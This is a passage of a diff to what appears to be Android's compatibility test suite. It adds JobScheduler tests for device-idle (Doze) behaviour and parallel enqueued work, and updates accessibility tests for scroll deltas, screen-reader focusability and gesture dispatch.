import android.util.Log;
@@ -106,6 +107,10 @@
boolean curNotLow = Boolean.parseBoolean(SystemUtil.runShellCommand(getInstrumentation(),
"cmd jobscheduler get-battery-not-low").trim());
assertEquals(notLow, curNotLow);
+ IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
+ Intent batteryState = getContext().registerReceiver(null, filter);
+ assertEquals(notLow,
+ !batteryState.getBooleanExtra(BatteryManager.EXTRA_BATTERY_LOW, notLow));
}
String getJobState() throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
new file mode 100644
index 0000000..0918a3b
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -0,0 +1,281 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts;
+
+import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STARTED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STOPPED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_PARAMS_EXTRA_KEY;
+import static android.os.PowerManager.ACTION_DEVICE_IDLE_MODE_CHANGED;
+import static android.os.PowerManager.ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.job.JobParameters;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.jobscheduler.cts.jobtestapp.TestActivity;
+import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that temp whitelisted apps can run jobs if all the other constraints are met
+ */
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class DeviceIdleJobsTest {
+ private static final String TAG = DeviceIdleJobsTest.class.getSimpleName();
+ private static final String TEST_APP_PACKAGE = "android.jobscheduler.cts.jobtestapp";
+ private static final String TEST_APP_RECEIVER = TEST_APP_PACKAGE + ".TestJobSchedulerReceiver";
+ private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".TestActivity";
+ private static final long BACKGROUND_JOBS_EXPECTED_DELAY = 3_000;
+ private static final long POLL_INTERVAL = 500;
+ private static final long DEFAULT_WAIT_TIMEOUT = 1000;
+
+ private Context mContext;
+ private UiDevice mUiDevice;
+ private PowerManager mPowerManager;
+ private long mTempWhitelistExpiryElapsed;
+ private int mTestJobId;
+ private int mTestPackageUid;
+ private boolean mDeviceInDoze;
+ /* accesses must be synchronized on itself */
+ private final TestJobStatus mTestJobStatus = new TestJobStatus();
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "Received action " + intent.getAction());
+ switch (intent.getAction()) {
+ case ACTION_JOB_STARTED:
+ case ACTION_JOB_STOPPED:
+ final JobParameters params = intent.getParcelableExtra(JOB_PARAMS_EXTRA_KEY);
+ Log.d(TAG, "JobId: " + params.getJobId());
+ synchronized (mTestJobStatus) {
+ mTestJobStatus.running = ACTION_JOB_STARTED.equals(intent.getAction());
+ mTestJobStatus.jobId = params.getJobId();
+ }
+ break;
+ case ACTION_DEVICE_IDLE_MODE_CHANGED:
+ case ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED:
+ synchronized (DeviceIdleJobsTest.this) {
+ mDeviceInDoze = mPowerManager.isDeviceIdleMode();
+ Log.d(TAG, "mDeviceInDoze: " + mDeviceInDoze);
+ }
+ break;
+ }
+ }
+ };
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mPowerManager = mContext.getSystemService(PowerManager.class);
+ mDeviceInDoze = mPowerManager.isDeviceIdleMode();
+ mTestPackageUid = mContext.getPackageManager().getPackageUid(TEST_APP_PACKAGE, 0);
+ mTestJobId = (int) (SystemClock.uptimeMillis() / 1000);
+ mTestJobStatus.reset();
+ mTempWhitelistExpiryElapsed = -1;
+ final IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(ACTION_JOB_STARTED);
+ intentFilter.addAction(ACTION_JOB_STOPPED);
+ intentFilter.addAction(ACTION_DEVICE_IDLE_MODE_CHANGED);
+ intentFilter.addAction(ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED);
+ mContext.registerReceiver(mReceiver, intentFilter);
+ assertFalse("Test package already in temp whitelist", isTestAppTempWhitelisted());
+ makeTestPackageIdle();
+ makeTestPackageStandbyActive();
+ }
+
+
+ @Test
+ public void testAllowWhileIdleJobInForeground() throws Exception {
+ toggleDeviceIdleState(true);
+ sendScheduleJobBroadcast(true);
+ assertFalse("Job started while in background", awaitJobStart(5_000));
+ startAndKeepTestActivity();
+ assertTrue("Job with allow_while_idle flag did not start when the app was in fg",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testAllowWhileIdleJobInTempwhitelist() throws Exception {
+ toggleDeviceIdleState(true);
+ Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+ sendScheduleJobBroadcast(true);
+ assertFalse("Job started without being tempwhitelisted", awaitJobStart(5_000));
+ tempWhitelistTestApp(5_000);
+ assertTrue("Job with allow_while_idle flag did not start when the app was tempwhitelisted",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testForegroundJobsStartImmediately() throws Exception {
+ sendScheduleJobBroadcast(false);
+ assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ toggleDeviceIdleState(true);
+ assertTrue("Job did not stop on entering doze", awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+ Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+ startAndKeepTestActivity();
+ toggleDeviceIdleState(false);
+ assertTrue("Job for foreground app did not start immediately when device exited doze",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testBackgroundJobsDelayed() throws Exception {
+ sendScheduleJobBroadcast(false);
+ assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ toggleDeviceIdleState(true);
+ assertTrue("Job did not stop on entering doze", awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+ Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+ toggleDeviceIdleState(false);
+ assertFalse("Job for background app started immediately when device exited doze",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ Thread.sleep(BACKGROUND_JOBS_EXPECTED_DELAY - DEFAULT_WAIT_TIMEOUT);
+ assertTrue("Job for background app did not start after the expected delay of "
+ + BACKGROUND_JOBS_EXPECTED_DELAY + "ms", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ toggleDeviceIdleState(false);
+ final Intent cancelJobsIntent = new Intent(TestJobSchedulerReceiver.ACTION_CANCEL_JOBS);
+ cancelJobsIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+ cancelJobsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.sendBroadcast(cancelJobsIntent);
+ mContext.sendBroadcast(new Intent(TestActivity.ACTION_FINISH_ACTIVITY));
+ mContext.unregisterReceiver(mReceiver);
+ Thread.sleep(500); // To avoid any race between unregister and the next register in setUp
+ waitUntilTestAppNotInTempWhitelist();
+ }
+
+ private boolean isTestAppTempWhitelisted() throws Exception {
+ final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
+ for (String line : output.split("\n")) {
+ if (line.contains("UID="+mTestPackageUid)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private void startAndKeepTestActivity() {
+ final Intent testActivity = new Intent();
+ testActivity.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ testActivity.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY));
+ mContext.startActivity(testActivity);
+ }
+
+ private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
+ final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
+ scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mTestJobId);
+ scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
+ scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+ mContext.sendBroadcast(scheduleJobIntent);
+ }
+
+ private void toggleDeviceIdleState(final boolean idle) throws Exception {
+ mUiDevice.executeShellCommand("cmd deviceidle " + (idle ? "force-idle" : "unforce"));
+ assertTrue("Could not change device idle state to " + idle,
+ waitUntilTrue(DEFAULT_WAIT_TIMEOUT, () -> {
+ synchronized (DeviceIdleJobsTest.this) {
+ return mDeviceInDoze == idle;
+ }
+ }));
+ }
+
+ private void tempWhitelistTestApp(long duration) throws Exception {
+ mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist -d " + duration
+ + " " + TEST_APP_PACKAGE);
+ mTempWhitelistExpiryElapsed = SystemClock.elapsedRealtime() + duration;
+ }
+
+ private void makeTestPackageIdle() throws Exception {
+ mUiDevice.executeShellCommand("am make-uid-idle --user current " + TEST_APP_PACKAGE);
+ }
+
+ private void makeTestPackageStandbyActive() throws Exception {
+ mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " active");
+ }
+
+ private boolean waitUntilTestAppNotInTempWhitelist() throws Exception {
+ long now;
+ boolean interrupted = false;
+ while ((now = SystemClock.elapsedRealtime()) < mTempWhitelistExpiryElapsed) {
+ try {
+ Thread.sleep(mTempWhitelistExpiryElapsed - now);
+ } catch (InterruptedException iexc) {
+ interrupted = true;
+ }
+ }
+ if (interrupted) {
+ Thread.currentThread().interrupt();
+ }
+ return waitUntilTrue(DEFAULT_WAIT_TIMEOUT, () -> !isTestAppTempWhitelisted());
+ }
+
+ private boolean awaitJobStart(long maxWait) throws Exception {
+ return waitUntilTrue(maxWait, () -> {
+ synchronized (mTestJobStatus) {
+ return (mTestJobStatus.jobId == mTestJobId) && mTestJobStatus.running;
+ }
+ });
+ }
+
+ private boolean awaitJobStop(long maxWait) throws Exception {
+ return waitUntilTrue(maxWait, () -> {
+ synchronized (mTestJobStatus) {
+ return (mTestJobStatus.jobId == mTestJobId) && !mTestJobStatus.running;
+ }
+ });
+ }
+
+ private boolean waitUntilTrue(long maxWait, Condition condition) throws Exception {
+ final long deadLine = SystemClock.uptimeMillis() + maxWait;
+ do {
+ Thread.sleep(POLL_INTERVAL);
+ } while (!condition.isTrue() && SystemClock.uptimeMillis() < deadLine);
+ return condition.isTrue();
+ }
+
+ private static final class TestJobStatus {
+ int jobId;
+ boolean running;
+ private void reset() {
+ running = false;
+ }
+ }
+
+ private interface Condition {
+ boolean isTrue() throws Exception;
+ }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
index 6d2599f..604ccce 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
@@ -186,6 +186,87 @@
}
/**
+ * Test basic enqueueing batches of work that will be executed in parallel.
+ */
+ public void testEnqueueParallel2Work() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not fire.",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
+ * Test basic enqueueing batches of work that will be executed in parallel and completed
+ * in reverse order.
+ */
+ public void testEnqueueParallel2ReverseWork() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not fire.",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
+ * Test basic enqueueing batches of work that will be executed in parallel.
+ */
+ public void testEnqueueMultipleParallelWork() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ Intent work3 = new Intent("work3");
+ Intent work4 = new Intent("work4");
+ Intent work5 = new Intent("work5");
+ Intent work6 = new Intent("work6");
+ Intent work7 = new Intent("work7");
+ Intent work8 = new Intent("work8");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+ new TestWorkItem(work3, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK
+ | TestWorkItem.FLAG_COMPLETE_NEXT),
+ new TestWorkItem(work4, TestWorkItem.FLAG_COMPLETE_NEXT),
+ new TestWorkItem(work5, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+ new TestWorkItem(work6, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+ new TestWorkItem(work7, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP
+ | TestWorkItem.FLAG_COMPLETE_NEXT),
+ new TestWorkItem(work8) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work7));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work8));
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not fire.",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
* Test job getting stopped while processing work and that work being redelivered.
*/
public void testEnqueueMultipleRedeliver() throws Exception {
@@ -238,6 +319,61 @@
}
/**
+ * Test job getting stopped while processing work in parallel and that work being redelivered.
+ */
+ public void testEnqueueMultipleParallelRedeliver() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ Intent work3 = new Intent("work3");
+ Intent work4 = new Intent("work4");
+ Intent work5 = new Intent("work5");
+ Intent work6 = new Intent("work6");
+ TestWorkItem[] initialWork = new TestWorkItem[] {
+ new TestWorkItem(work1),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work3, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work4, TestWorkItem.FLAG_WAIT_FOR_STOP, 1) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWaitForStop();
+ kTestEnvironment.setExpectedWork(initialWork);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+ kTestEnvironment.readyToWork();
+
+ // Now wait for the job to get to the point where it is processing the last
+ // work and waiting for it to be stopped.
+ assertTrue("Job with work enqueued did not wait to stop.",
+ kTestEnvironment.awaitWaitingForStop());
+
+ // Cause the job to timeout (stop) immediately, and wait for its execution to finish.
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler timeout "
+ + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+ assertTrue("Job with work enqueued did not finish.",
+ kTestEnvironment.awaitExecution());
+ compareWork(initialWork, kTestEnvironment.getLastReceivedWork());
+
+ // Now we are going to add some more work, restart the job, and see if it correctly
+ // redelivers the last work and delivers the new work.
+ TestWorkItem[] finalWork = new TestWorkItem[] {
+ new TestWorkItem(work2, 0, 2), new TestWorkItem(work3, 0, 2),
+ new TestWorkItem(work4, 0, 2), new TestWorkItem(work5), new TestWorkItem(work6) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(finalWork);
+ mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+ kTestEnvironment.readyToWork();
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run "
+ + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+
+ assertTrue("Restarted with work enqueued did not execute.",
+ kTestEnvironment.awaitExecution());
+ compareWork(finalWork, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
* Test basic enqueueing batches of work.
*/
public void testEnqueueMultipleUriGrantWork() throws Exception {
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index aa9db4f..c4d1dda 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -32,7 +32,7 @@
public class AccessibilityEventTest extends TestCase {
/** The number of properties of the {@link AccessibilityEvent} class. */
- private static final int NON_STATIC_FIELD_COUNT = 29;
+ private static final int NON_STATIC_FIELD_COUNT = 31;
/**
* Test that no new fields have been added without updating the
@@ -206,6 +206,8 @@
sentEvent.setMaxScrollY(1);
sentEvent.setScrollX(1);
sentEvent.setScrollY(1);
+ sentEvent.setScrollDeltaX(3);
+ sentEvent.setScrollDeltaY(3);
sentEvent.setToIndex(1);
sentEvent.setScrollable(true);
sentEvent.setAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
@@ -261,6 +263,10 @@
receivedEvent.getScrollX());
assertSame("scrollY has incorect value", expectedEvent.getScrollY(),
receivedEvent.getScrollY());
+ assertSame("scrollDeltaX has incorect value", expectedEvent.getScrollDeltaX(),
+ receivedEvent.getScrollDeltaX());
+ assertSame("scrollDeltaY has incorect value", expectedEvent.getScrollDeltaY(),
+ receivedEvent.getScrollDeltaY());
assertSame("toIndex has incorect value", expectedEvent.getToIndex(),
receivedEvent.getToIndex());
assertSame("scrollable has incorect value", expectedEvent.isScrollable(),
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
index 7862cb4..5bf02c8 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
@@ -35,7 +35,7 @@
public class AccessibilityRecordTest extends AndroidTestCase {
/** The number of properties of the {@link AccessibilityEvent} class. */
- private static final int NON_STATIC_FIELD_COUNT = 22;
+ private static final int NON_STATIC_FIELD_COUNT = 24;
/**
* Test that no new fields have been added without updating the
diff --git a/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml b/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
index cb3d153..6a7ccf5 100644
--- a/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
+++ b/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
@@ -77,6 +77,7 @@
android:id="@+id/secondButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:screenReaderFocusable="true"
android:text="@string/secondButton" />
</LinearLayout>
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
index 912c9c4..f4f6089 100644
--- a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
@@ -16,9 +16,9 @@
-->
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:description="@string/stub_gesture_dispatch_a11y_service_description"
- android:accessibilityEventTypes="typeAllMask"
- android:accessibilityFeedbackType="feedbackGeneric"
- android:accessibilityFlags="flagDefault"
- android:canPerformGestures="true"
- android:notificationTimeout="0" />
+ android:description="@string/stub_gesture_dispatch_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault"
+ android:canPerformGestures="true"
+ android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
index 110f741..2559392 100644
--- a/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
@@ -15,10 +15,11 @@
-->
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:accessibilityEventTypes="typeAllMask"
- android:accessibilityFeedbackType="feedbackGeneric"
- android:canRetrieveWindowContent="true"
- android:canRequestTouchExplorationMode="true"
- android:canRequestEnhancedWebAccessibility="true"
- android:canRequestFilterKeyEvents="true"
- android:canControlMagnification="true" />
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:canRetrieveWindowContent="true"
+ android:canRequestTouchExplorationMode="true"
+ android:canRequestEnhancedWebAccessibility="true"
+ android:canRequestFilterKeyEvents="true"
+ android:canControlMagnification="true"
+ android:canPerformGestures="true"/>
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 08e231f..47524c9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -17,8 +17,10 @@
import static android.view.accessibility.AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS;
import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
+import android.app.Instrumentation;
import android.app.UiAutomation;
import android.test.suitebuilder.annotation.MediumTest;
+import android.view.View;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
@@ -26,6 +28,7 @@
import java.util.LinkedList;
import java.util.Queue;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* Test cases for testing the accessibility focus APIs exposed to accessibility
@@ -228,4 +231,29 @@
}
}
}
+
+ public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
+ final Instrumentation instrumentation = getInstrumentation();
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final AccessibilityNodeInfo secondButton = uiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(getString(R.string.secondButton)).get(0);
+ assertTrue("Screen reader focusability not propagated from xml to accessibility",
+ secondButton.isScreenReaderFocusable());
+
+ // Verify the setter and getter work
+ final AtomicBoolean isScreenReaderFocusableAtomic = new AtomicBoolean(false);
+ instrumentation.runOnMainSync(() -> {
+ View secondButtonView = getActivity().findViewById(R.id.secondButton);
+ secondButtonView.setScreenReaderFocusable(false);
+ isScreenReaderFocusableAtomic.set(secondButtonView.isScreenReaderFocusable());
+ });
+
+ assertFalse("isScreenReaderFocusable did not change after value set",
+ isScreenReaderFocusableAtomic.get());
+
+ secondButton.refresh();
+ assertFalse(
+ "Screen reader focusability not propagated to accessibility after calling setter",
+ secondButton.isScreenReaderFocusable());
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index df8c6f3..b0f9218 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -14,6 +14,17 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.awaitCancellation;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.diff;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
+import static android.accessibilityservice.cts.utils.GestureUtils.times;
+
import static org.hamcrest.CoreMatchers.allOf;
import static org.hamcrest.CoreMatchers.any;
import static org.hamcrest.CoreMatchers.both;
@@ -21,6 +32,8 @@
import static org.hamcrest.CoreMatchers.hasItem;
import static org.hamcrest.MatcherAssert.assertThat;
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
@@ -28,17 +41,16 @@
import android.content.pm.PackageManager;
import android.graphics.Matrix;
import android.graphics.Path;
-import android.graphics.Point;
import android.graphics.PointF;
import android.os.Bundle;
import android.os.SystemClock;
import android.test.ActivityInstrumentationTestCase2;
-import android.util.DisplayMetrics;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewConfiguration;
import android.view.WindowManager;
import android.widget.TextView;
+
import org.hamcrest.Description;
import org.hamcrest.Matcher;
import org.hamcrest.TypeSafeMatcher;
@@ -72,7 +84,6 @@
final List<MotionEvent> mMotionEvents = new ArrayList<>();
StubGestureAccessibilityService mService;
MyTouchListener mMyTouchListener = new MyTouchListener();
- MyGestureCallback mCallback;
TextView mFullScreenTextView;
int[] mViewLocation = new int[2];
boolean mGotUpEvent;
@@ -107,7 +118,6 @@
mService = StubGestureAccessibilityService.enableSelf(getInstrumentation());
mMotionEvents.clear();
- mCallback = new MyGestureCallback();
mGotUpEvent = false;
}
@@ -126,10 +136,8 @@
return;
}
- Point clickPoint = new Point(10, 20);
- GestureDescription click = createClickInViewBounds(clickPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(click, mCallback, null));
- mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+ PointF clickPoint = new PointF(10, 20);
+ dispatch(clickWithinView(clickPoint), GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(any(MotionEvent.class), 2);
assertEquals(2, mMotionEvents.size());
@@ -161,10 +169,8 @@
return;
}
- Point clickPoint = new Point(10, 20);
- GestureDescription longClick = createLongClickInViewBounds(clickPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(longClick, mCallback, null));
- mCallback.assertGestureCompletes(
+ PointF clickPoint = new PointF(10, 20);
+ dispatch(longClickWithinView(clickPoint),
ViewConfiguration.getLongPressTimeout() + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(any(MotionEvent.class), 2);
@@ -183,13 +189,12 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point endPoint = new Point(20, 40);
+ PointF startPoint = new PointF(10, 20);
+ PointF endPoint = new PointF(20, 40);
int gestureTime = 500;
